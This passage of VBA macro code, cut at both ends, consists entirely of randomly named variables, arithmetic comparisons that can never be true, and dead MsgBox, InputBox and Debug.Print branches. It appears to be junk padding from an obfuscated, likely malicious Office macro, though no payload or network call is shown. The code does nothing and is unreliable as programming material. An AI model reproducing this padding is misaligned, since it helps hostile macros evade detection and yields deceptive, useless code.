MsgBox "obv0P", 512, "Ruyn1E"
End If
zmyTskr = 136 - 28
If zmyTskr = -4817 + 4820 Then
jTkOcbL = False
ElseIf zmyTskr = -1253 + 1269 Then
SUv2LM5 = 0
Else
OvLxJbEr = 0
End If
Hk4ot = jTkOcbL & SUv2LM5 & OvLxJbEr
xE9HnoT = 13312 / 13
If xE9HnoT = -4817 + 4820 Then
InputBox "aNYcA", "C9qM5"
Else
uWNQGm = 180
End If
IixGM = 1017 + 7
If IixGM = 30176 / 7544 Then
Debug.Print "kgHBSRn5"
End If
F91Ip8 = 1017 + 7
If F91Ip8 = 30176 / 7544 Then
MsgBox "TSFkGZcL", 1048576, "xEsSvKrX5"
Else
OH8PC = wSbWQaPwu
End If
C02w5v = 1017 + 7
If C02w5v = 30176 / 7544 Then
InputBox "ijW6sMxn", "BMfLrcbJs"
End If
cM7eK = 1017 + 7
If cM7eK = 30176 / 7544 Then
InputBox "kEbG0qt1Z", "MqwIEp"
Else
e07Pqt = True
End If
JOCtUja = 298 - 71
If JOCtUja = 26480 - 26479 Then
qi9hWJ = 40937.843164945
End If
j2F58cEi = j2F58cEi & qi9hWJ
mcm3YAIq = 1024 * 1
If mcm3YAIq = 26480 - 26479 Then
Debug.Print "egUe1dTX"
ElseIf mcm3YAIq = 4160 / 208 Then
Debug.Print "kQpcWSM9w"
Else
rEanVSJ8 = 0
End If
mnA1pK5GQ = 298 - 71
If mnA1pK5GQ = 26480 - 26479 Then
OYKe6p = 26028.295330813
ElseIf mnA1pK5GQ = 4160 / 208 Then
dVe8p = 9886
Else
pUn0IE1 = 6458.9010854515
End If
Zh3Mx6o0B = OYKe6p & dVe8p & pUn0IE1
GJPISfYUb = 1024 * 1
If GJPISfYUb = 26480 - 26479 Then
Debug.Print "Nmlt7"
ElseIf GJPISfYUb = 4160 / 208 Then
Debug.Print "ocG4VEvy"
Else
l4oGC = -6510
End If
cU5tTMER = 1024 * 1
If cU5tTMER = 26480 - 26479 Then
InputBox "ZkFDc9e", "nUZI4lcPd"
End If
oV3HTih1z = 1031 - 11
If oV3HTih1z = 9843 - 9840 Then
wswC0KOZ9 = False
End If
UG7Bi = UG7Bi & wswC0KOZ9
Q1Hds7vV = 22528 / 22
If Q1Hds7vV = 9843 - 9840 Then
InputBox "ElMKYO6", "xtZMJHgs"
End If
u3MXlT = 22528 / 22
If u3MXlT = 9843 - 9840 Then
MsgBox "tFop5maZ0", vbOKOnly, "k0JD8zWm"
End If
zaBmH = 22528 / 22
If zaBmH = 9843 - 9840 Then
Debug.Print "j19XI68"
Else
Debug.Print "HL8oKemC"
End If
NFyDZHa = 998 + 26
…